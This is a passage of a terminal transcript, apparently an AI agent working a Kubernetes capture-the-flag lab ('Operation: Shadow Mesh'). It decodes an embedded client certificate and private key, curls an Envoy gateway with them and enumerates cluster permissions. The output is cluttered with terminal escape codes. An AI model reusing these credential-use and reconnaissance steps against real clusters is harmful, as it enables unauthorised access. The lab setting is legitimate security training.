qZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/c.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/c.key
head -1 /tmp/c.crt
head -1 /tmp/c.key
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "GW: $GWIP"
cuecho 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/c.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/c.key
head -1 /tmp/c.crt
head -1 /tmp/c.key
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "GW: $GWIP"
cu[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF00UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR33QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y44ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RhheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9SSbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExxTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZsscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HHMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0ttLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/c.crt
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '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' | base64 --d > /tmp/c.key
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Khead -1 /tmp/c.crt
[?2004l-----BEGIN CERTIFICATE-----
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# head -1 /tmp/c.key
[?2004l-----BEGIN PRIVATE KEY-----
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "GW: $GWIP"
[?2004lGW: 10.111.253.191
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --cert /tmp/c.crt --key /tmp/c.key https:://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
command terminated with exit code 56
Connection to 35.179.133.134 closed.Exit code 56 = connection reset. The cert/key decoded fine but the connection is being rejected. Let me debug with verbose curl and try different approaches.
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | grep -v '^\[?' | grep -v '^\]0;' | grep -v '^▐\|^▝\|^ ▐\|^▗\|^ █\|^ ▄\|^_ _\|^( \\\|^ )\|^(_/'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== WITHOUT CERT ==="
curl -svk https://$GWIP 2>&1 | tail -20
echo "=== WITH CERT VERBOSE ==="
curl -svk --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1 | tail -30
echo "=== HTTP ROUTES ==="
kubectl get httproutes -A -o yaml 2>&1
exit
SSHEOFWelcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== WITHOUT CERT ==="
curl -svk https://$GWIP 2>&1 | tail -20
echo "=== WITH CERT VERBOSE ==="
curl -svk --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1 | tail -30
echo "=== HTTP ROUTES ==="
kubectl get httproutes -A -o yaml 2>&1
exit
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== WITHOUT CERT ==="
curl -svk https://$GWIP 2>&1 | tail -20
echo "=== WITH CERT VERBOSE ==="
curl -svk --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1 | tail -30
echo "=== HTTP ROUTES ==="
kubectl get httproutes -A -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== WITHOUT CERT ==="
[?2004l=== WITHOUT CERT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -svk https://$GWIP 2>&1 | tail -20
[?2004l} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* Using Stream ID: 1 (easy handle 0x5f50f52d59f0)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
> GET / HTTP/2
> Host: 10.111.253.191
> user-agent: curl/7.81.0
> accept: */*
>
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Failed receiving HTTP2 data
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* OpenSSL SSL_write: Broken pipe, errno 32
* Failed sending HTTP2 data
* Connection #0 to host 10.111.253.191 left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== WITH CERT VERBOSE ==="
[?2004l=== WITH CERT VERBOSE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -svk --cert /tmp/c.crt --key /tmp/c.key httpss://$GWIP 2>&1 | tail -30
[?2004l* start date: Feb 18 08:57:51 2026 GMT
* expire date: Feb 16 08:57:51 2036 GMT
* issuer: O=Linkerd-CTF; CN=Linkerd-CTF
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Using HTTP2, server supports multiplexing
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* Using Stream ID: 1 (easy handle 0x5f96d9ebb9f0)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
> GET / HTTP/2
> Host: 10.111.253.191
> user-agent: curl/7.81.0
> accept: */*
>
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.3 (OUT), TLS alert, decode error (562):
} [2 bytes data]
* OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0
* Failed receiving HTTP2 data
* OpenSSL SSL_write: SSL_ERROR_SYSCALL, errno 0
* Failed sending HTTP2 data
* Connection #0 to host 10.111.253.191 left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== HTTP ROUTES ==="
[?2004l=== HTTP ROUTES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get httproutes -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): httproutes.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "httproutes" in API group "gateway.networking.k8s.io" at the cluster scope
